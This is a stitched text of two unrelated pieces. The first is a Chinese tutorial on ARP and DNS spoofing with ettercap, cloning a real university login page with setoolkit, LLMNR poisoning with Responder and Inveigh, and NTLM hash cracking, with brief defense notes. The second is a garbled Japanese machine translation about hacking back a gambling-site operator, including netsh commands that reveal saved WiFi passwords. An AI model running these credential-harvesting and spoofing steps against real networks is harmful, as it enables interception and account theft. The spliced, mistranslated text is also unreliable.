2：配置ARP欺骗 Step 3：插件命令参数设置 Step 4：开启ARP欺骗 攻击检测XArp工具简介XArp是国外的一款热门的ARP防火墙软件，能够帮助用户建立一个专门的检测系统，使用高级技术来检测应对网络上的各类ARP攻击，例如，使用ARP欺骗，攻击者可以窃听您的所有网络流量，包含电子邮件与密码，所有这一切都完全没有被发现，XArp执行主动与被动方法来检测此类攻击。 攻击检测Step 1：开启NetFuke实施ARP欺骗攻击 Step 2：之后再XARP端可以看到报警信息以及相关记录信息 PS:个人感觉这个工具并不是那么好~ 防御措施ARP欺骗的防御手法主要从以下两个方面出发： a、阻断伪造数据包的传播： 该方法主要是从交换机或者路由器等网络设备的角度出发，以交换机为例，将交换机的端口、MAC地址、IP地址三者绑定，生成DAI(Dynamic ARP Inspection)检测表，如果某个端口的主机发送了与它在DAI表中的条目不相符的数据包，可以选择令其断网或者丢弃其发送的数据包 b、受害者不接受伪造数据包 该方法主要是从用户的角度出发，首先不要随便接入陌生的网络是一定的，其次，用户可以在设备上安装ARP防火墙，如果是技术人员，可以选择建立静态ARP条目(适用于不会经常变动且数量较少的网络环境)，Windonwde用户使用命令"arp -s ip"地址mac地址来进行静态绑定 DNS攻击域名系统DNS(Domain Name System)，即域名解析协议，域名系统以分布式数据库的形式将域名和IP地址相互映射，简单来说，DNS是用来解析域名的，有了DNS我们就不用再记住烦人的IP地址，用相对好记的域名就可以对服务器进行访问，即使服务器更换了IP地址，我们依旧可以通过域名访问该服务器，这样能够使我们更方便的访问互联网 当我们在浏览器中输入www.baidu.com后，将经历以下查询过程： 客户机向本地DNS服务器查询www.baidu.com本地DNS服务器检查本地数据库，由于没有baidu.com域的记录，因此它将查询信息传递到根域DNS服务器，请求解析主机名称根域DNS服务器把负责解析"com"域的DNS服务器的IP地址返回给本地DNS服务器本地DNS服务器将请求发送给负责"com"域的DNS服务器负责"com"域的服务器根据请求将负责"baidu.com"域的DNS服务器的IP地址返回给本地DNS服务器本地DNS服务器向负责"baidu.com"区域的DNS服务器发送请求，由于此服务器具有www.baidu.com的记录，因此它将www.baidu.com 的IP地址返回给本地DNS服务器本地DNS服务器将www.baidu.com的IP地址发送给客户机域名解析成功后，客户机将http请求发送给Web服务器Web服务器响应客户机的访问请求，客户机便可以访问目标主机DNS欺骗DNS在互联网中扮演着如此重要的角色，但是在设计DNS协议时，设计者没有考虑到一些安全问题，导致了DNS的安全隐患与缺陷，DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷 首先，欺骗者向目标机器发送构造好的ARP应答数据包，ARP欺骗成功后，嗅探到对方发出的DNS请求数据包，分析数据包取得ID和端口号后，向目标发送自己构造好的一个DNS返回包，对方收到DNS应答包后，发现ID和端口号全部正确，即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中，而后来的真实的DNS应答包返回时则会被丢弃 欺骗实践测试环境攻击主机：192.168.174.129目标主机：192.168.174.170简易测试Step 1：测试攻击主机的网络连通性 Step 2：之后在攻击者主机端启动Apache服务并构造一个钓鱼页面，这里简化为一个普通的HTML页面，本地测试效果如下 Step 3：查找etter.dns文件，并修改该配置文件，将www.al1ex.com指向本机IP地址 locate etter.dns leafpad /etc/ettercap/etter.dns Step 4：使用ettercap开始欺骗 ettercap -G 之后开启DNS欺骗 Step 5：查看效果 www.baidu.com——正常访问 www.al1ex.com——钓鱼页面 DNS欺骗记录： 钓鱼模拟Step 1：开启端口转发功能 echo 1 > /proc/sys/net/ipv4/ip_forward Step 2：查找etter.conf文件，并修改该配置文件 locate etter.conf leafpad /etc/ettercap/etter.conf 修改为0 Step 3：查找etter.dns文件，并修改该配置文件 locate etter.dns leafpad /etc/ettercap/etter.dns 增加一条DNS记录，这里的域名由我们制作的钓鱼网站域名而定： Step 4：下面进行DNS欺骗攻击 ettercap -T -q -M arp:remote -P dns_spoof /192.168.174.170/192.168.174.2/ #说明： 受害者地址：192.168.174.170 网关的地址：192.168.174.2 Step 5：使用setoolkit克隆网站 setoolkit http://jwbinfosys.zju.edu.cn/default2.aspx Step 6：在本地访问克隆网站 Step 7：之后诱导用户访问网站 效果有点差强人意，不过当用户访问网站并登录时，会获取到用户的登录凭证信息(后期发现是IE的安全策略的原因) DNS欺骗记录： 防御措施DNS欺骗是很难进行有效防御的，因为大多情况下都是被攻击之后才会发现，对于避免DNS欺骗所造成危害，这里给出以下建议： 1、因为DNS欺骗前提也需要ARP欺骗成功，所以首先做好对ARP欺骗攻击的防范 2、不要依赖于DNS，尽管这样会很不方便，可以使用hosts文件来实现相同的功能 3、使用安全检测软件定期检查系统是否遭受攻击 4.使用DNSSEC LLMNR攻击协议简介自Windows Vista起，Windows操作系统开始支持一种新的名称解析协议—LLMNR，主要用于局域网中的名称解析，LLMNR能够很好的支持IPv4和IPv6，它也是一个仅次于DNS的名称解析方式，而且在Linux操作系统中也实现了LLMNR，LLMNR协议解析名称的特点为端到端，IPv4的广播地址为224.0.0.252，IPv6的广播地址为FF02:0:0:0:0:0:1:3或FF02::1:3 解析顺序检查本地NetBIOS缓存，如果缓存中没有记录，则向当前子网/域发送广播进行查询检查当前子网/域内主机，如果没有主机响应，则整个请求宣告以失败结束协议风险根据LLMNR协议的解析过程可知，当用户访问一个不存在的网络的域名时，例如:Al1ex.com，那么首先会去检查本地NetBIOS缓存，由于缓存记录中没有，进而转去向当前子网/域内进行广播查询，此时如果攻击者进行恶意应答，例如：欺骗用户Al1ex.com为攻击者的服务器端IP地址，那么用户便会先攻击者提供的恶意IP地址发起请求，同时使用用户的Net-NTLM进行身份验证，此时攻击者通过LLMNR投毒的方式即可成功捕获到用户的身份信息，示意图如下： 协议攻击攻击者可以通过LLMNR协议进行投毒攻击，当用户访问某一个无法解析的域名(不存在/拼写错误)时可以使用LLMNR协议投毒的方式将攻击者主机的IP地址作为应答，之后窃取用户的Net-NTLM Hash 演示环境域控主机：192.168.174.2域内主机：192.168.174.4攻击主机：192.168.174.129攻击手法下面我们通过两种方式来演示如何进行LLMNR/NBNS欺骗攻击~ ResponderStep 1：在攻击主机上执行一下命令开启Responder ./Responder.py -I eth0 Step 2：之后模拟受害者访问不存在的\Al1ex.com(可以通过钓鱼的方式或者恶意PDF等众多的方式来实现) Step 3：之后在Responder端可以成功捕获到用户的NTLM-Hash Step 4：之后对用户的NTLM-Hash进行爆破(NTLM V1为5500，NTLM v2为5600) hashcat -m 5600 HTTP-NTLMv2-192.168.174.111.txt passkey.txtInveigh实现Inveigh下载地址：https://github.com/Kevin-Robertson/Inveigh Step 1：之用管理员权限打开攻击机器的powershell依次输入以下命令 . .\Inveigh.ps1 Invoke-Inveigh -ConsoleOutput Y #PS:如果有执行策略限制再加一条Set-ExecutionPolicy Bypass -Scope ProcessStep 2：模拟受害者用户访问不存在的UNC路径，且无需认 Step 3：之后再攻击主机中可以看到已经成功抓取到Net-NTLM Hash Inveigh-Zero项目地址：https://github.com/Kevin-Robertson/InveighZero Step 1：之用管理员权限打开攻击机器的cmd之后执行以下命令 Inveigh.exeStep 2：模拟用户在浏览器中输入错误的UNC查询路径，且无需填写表单信息 Step :3：之后可以捕获到用户的Net-NTLM Hash 防御措施关于LLMNR Poison攻击的实战思路有很多，包括劫持FTP，MySQL，MSSQL Server等，具体的实现可自由发挥，同时为了防止遭到LLMNR Poison攻击，可以导入下面的注册表键值关闭LLMNR，不过关闭了LLMNR以后， 可能用户的一些正常需求会受到影响~ reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f reg add "HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows NT\DNSClient" /v EnableMulticast /t REG_DWORD /d 0 /f

01序文 最近さまよっています。私はたまたま経験プログラマーを雇って経験を奪うのを手伝っていたグループの誰かに会いました。 0日を集めました。また、最近書く記事がないと感じたので、社会で大物を試しました。 まず、ルーチンについて尋ねて、彼が何をしているのか見てみましょう。 この人は、batchexpを書くのを手伝ってくれる人を見つけたいと思っています それから、私が書くことができるふりをし、最初にトリックを作り、役割に入り、相手に私が本当に書くことができると思わせます。 ここで、私は自分でテスト用のサイトを構築したと言った後、シェルをリンクして試してみるように頼みました。大丈夫ですか！ その後、ターゲットはオンラインではなく、彼は私が構築したサイトを他の2人の男性に送りました。 02テクノロジー番号1 私のソーシャルワーカーの特定の従業員のこの従業員は、実際にテクノロジーを理解していませんでした。彼は私のフィッシングページを彼らの下の2人の技術者に送りました。そのうちの1つはおそらく仮想マシンであり、もう1つは物理マシンでした。だから私はここで釣りを一つしか持っていません。 ここにはオンラインで2つのPCがあり、統一された外部IPエクスポートとカンボジアディスプレイの場所があります。それが真実かどうかは不明です。この人は、私たちがスクリプトキッドハッカーと呼んでいるものです。彼のPCが持っている情報をお見せしましょう。 スクリプトトロイの木馬 あらゆる種類の本名証明書 さまざまなバッチハッキングツール ブラックハットSEOキーワード 侵入に使用されるさまざまなVPSマシン さまざまなWebサイトを説明します 03イントラネットの拡張と浸透 各プロセスには、一連の環境変数とその値を含む環境ブロックがあります。環境変数には、ユーザー環境変数とシステム環境変数の2種類があります。 ARP -Aが見ました。次のマシンが発見されました。 10ユニット以上。 192.168.1.1 78-44-FD-FD-55-B9ダイナミック 192.168.1.13 6C-8D-C1-18-AA-B2ダイナミック 192.168.1.24 DC-2B-2A-C2-22-15ダイナミック 192.168.1.42 8C-8E-F2-4F-26-8Fダイナミック 192.168.1.54 B0-FC-36-29-F7-AB AB Dynamic 192.168.1.62 B4-D5-BD-B2-29-E2ダイナミック 192.168.1.81 38-53-9C-EE-31-7Eニュース 192.168.1.83 38-71-DE-13-4F-D8ダイナミック 192.168.1.92 CC-29-F5-BC-B8-C1ダイナミック 192.168.1.119 CC-44-63-18-08-4Cダイナミック 192.168.1.137 6C-72-E7-5E-F9-7Eダイナミック 192.168.1.143 A4-D9-31-89-3D-C4ダイナミック 192.168.1.149 48-3B-38-45-4D-22ダイナミック 192.168.1.171 CC-29-F5-78-70-87ダイナミック 192.168.1.178 00-B3-62-7D-F6ダイナミック 192.168.1.206 B0-FC-36-30-79-7Bダイナミック 192.168.1.233 E4-F8-9C-9F-61-FEダイナミック 192.168.1.243 DC-41-5F-05-FE-EFダイナミック 192.168.1.255 ff-ff-ff-ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5E-00-00-16静的 224.0.0.252 01-00-5E-00-00-FC静的 224.210.34.44 01-00-5E-52-22-2C静的 239.11.20.1 01-00-5E-0B-14-01静的 239.255.255.250 01-00-5E-7F-FF-FA静的 255.255.255.255 ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-ff-fif static 現在計算されているWiFiアカウントのパスワードを読んで読んでください Netsh WLANはプロファイルを表示します すべてのユーザープロファイル: 2317RL-5G すべてのユーザープロファイル: 2317-ATA-5G すべてのユーザープロファイル: Huawei-D91c すべてのユーザープロファイル: TP-Link_6a68 すべてのユーザープロファイル: airtel-e5573-8318 すべてのユーザープロファイル: TP-LINK_88T8 すべてのユーザープロファイル: TB-Link-96A9 netsh wlan showプロフィール名='上記の画像の構成ファイル名を入力してください' 情報を収集し続けます これは、ネットワークに行くハッカーです 04 second 3日間の監視の後、ハッカーの収益性が発見されました。この人は、次のようにBCのプロキシ管理プラットフォームを開設しました。 彼のアカウントを分析した後、彼はそれがエージェントアカウントであることを発見しました。次に、分析のためにアプリをダウンロードします。上記はすべて、タイム宝くじと競馬のようなギャンブルゲームです。しかし、彼はレーシングカーです。背景は、多くのロボットを生成して、多くの人があなたと遊んでいることを作り出します。 ロボットだけで240以上に達しました オンラインでは10人未満の実際のユーザーがいます ハッカーの毎日の仕事は次のとおりです。 最新のUEDITORアップロード脆弱性、IIS7.5の脆弱性の解析、DEDECMSの脆弱性、およびその他のバッチの脆弱性など、0Dayの脆弱性を通じて、 最も一般的に使用されるツールは、バッチツールです 次に、BCページをアップロードし、ユーザーにアプリをダウンロードしてから、エージェントとして行動している部屋に入ります。このようにして、部屋のユーザーが充電するお金はエージェントにカウントされ、それによって収益性を達成します 現在のところ、ハッカーはまだIIS7.5の解像度の脆弱性を実行しています。 UEDITORのアップロード脆弱性をバッチするために、300を超えるW URLがインポートされています。 元のリンクアドレス：https://www.hackdoor.org/d/216-bc